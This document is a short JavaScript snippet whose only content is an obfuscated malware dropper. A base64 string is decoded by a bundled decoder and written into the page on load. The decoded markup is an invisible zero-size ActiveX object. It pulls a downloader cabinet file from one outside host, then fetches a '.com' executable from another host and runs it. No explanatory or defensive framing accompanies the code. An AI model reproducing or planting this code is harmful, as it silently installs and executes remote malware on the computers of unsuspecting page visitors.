var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

var mycode = "PE9CSkVDVCBJRD0ic2V0dGluZ3MiDQpXSURUSD0iMCINCkhFSUdIVD0iMCINCkNMQVNTSUQ9IkNMU0lEOmMxYjdlNTMyLTNlY2ItNGU5ZS1iYjNhLTI5NTFmZmU2N2M2MSINCkNPREVCQVNFPSJodHRwOi8vZHI0YWRuYW4uMjAxbWIuY29tL0Rvd25sb2FkZXJBY3RpdmVYLmNhYiNWZXJzaW9uPTEsMCwwLDEiPg0KPFBBUkFNIE5BTUU9InByb3BXaWR0aCIgIFZBTFVFPSIwIj4NCjxQQVJBTSBOQU1FPSJwcm9wSGVpZ2h0IiAgVkFMVUU9IjAiPg0KPFBBUkFNIE5BTUU9InByb3BEb3dubG9hZFVybCIgIFZBTFVFPSJodHRwOi8vd3d3LnN1bnF0ci5jb20vdXBsb2FkL3doXzE1MDM4MTA2LmNvbSI+DQo8UEFSQU0gTkFNRT0icHJvcFBvc3REb3dubG9hZEFjdGlvbiIgIFZBTFVFPSJydW4iPg0KPC9PQkpFQ1Q+";

document.write(base64_decode(mycode));

function base64_decode(input) {

   var output = "";

   var chr1, chr2, chr3;

   var enc1, enc2, enc3, enc4;

   var i = 0;



   // remove all characters that are not A-Z, a-z, 0-9, +, /, or =

   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");



   do {

      enc1 = keyStr.indexOf(input.charAt(i++));

      enc2 = keyStr.indexOf(input.charAt(i++));

      enc3 = keyStr.indexOf(input.charAt(i++));

      enc4 = keyStr.indexOf(input.charAt(i++));



      chr1 = (enc1 << 2) | (enc2 >> 4);

      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);

      chr3 = ((enc3 & 3) << 6) | enc4;



      output = output + String.fromCharCode(chr1);



      if (enc3 != 64) {

         output = output + String.fromCharCode(chr2);

      }

      if (enc4 != 64) {

         output = output + String.fromCharCode(chr3);

      }

   } while (i < input.length);



   return output;

}

